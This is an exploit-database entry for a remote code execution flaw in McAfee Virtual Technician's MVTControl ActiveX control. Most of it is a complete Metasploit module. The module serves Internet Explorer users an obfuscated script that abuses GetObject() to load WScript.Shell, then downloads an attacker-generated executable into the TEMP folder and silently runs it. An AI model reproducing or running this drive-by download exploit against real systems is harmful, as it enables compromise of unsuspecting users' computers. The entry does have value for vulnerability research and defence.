McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability

vendor:

Virtual Technician

by:

rgod, sinn3r

N/A

CVSS

N/A

Remote Code Execution

N/A

CWE

Product Name: Virtual Technician

Affected Version From: 6.3.0.1911

Affected Version To: 6.3.0.1911

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2012

McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability

This modules exploits a vulnerability found in McAfee Virtual Technician's MVTControl. This ActiveX control can be abused by using the GetObject() function to load additional unsafe classes such as WScript.Shell, therefore allowing remote code execution under the context of the user.

Mitigation:

N/A

Source

Exploit-DB raw data:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
			'Description'    => %q{
					This modules exploits a vulnerability found in McAfee Virtual Technician's
				MVTControl.  This ActiveX control can be abused by using the GetObject() function
				to load additional unsafe classes such as WScript.Shell, therefore allowing remote
				code execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod',   #Initial discovery, Poc
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					[ 'EDB', '18805' ]
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "none",
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 30 2012",
			'DefaultTarget'  => 0))
	end

	def exploit
		@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
		super
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']

		if agent !~ /MSIE \d/
			print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		if request.uri =~ /\.exe$/
			return if ((p=regenerate_payload(cli))==nil)
			data = generate_payload_exe({:code=>p.encoded})
			print_status("Sending payload")
			send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
			return
		end

		# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
		js = <<-JS
		var obj = new ActiveXObject("MVT.MVTControl.6300");

		var ws  = obj.GetObject("WScript.Shell");
		var ado = obj.GetObject("ADODB.Stream");
		var e   = ws.Environment("Process");
		var url = document.location + "/#{@payload_name}";
		var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";

		var xml = new ActiveXObject("Microsoft.XMLHTTP");
		xml.open("GET", url, false);
		xml.send(null);
		res = xml.responseBody;

		ado.Type = 1;
		ado.Mode = 3;
		ado.Open();
		ado.Write(res);
		ado.SaveToFile(tmp);
		ws.Run(tmp, 0);
		JS

		js = ::Rex::Exploitation::JSObfu.new(js)
		js.obfuscate

		html = <<-EOS
		<html>
		<head>
		</head>
		<body>
		<script defer=defer>
		#{js}
		</script>
		</body>
		</html>
		EOS

		print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end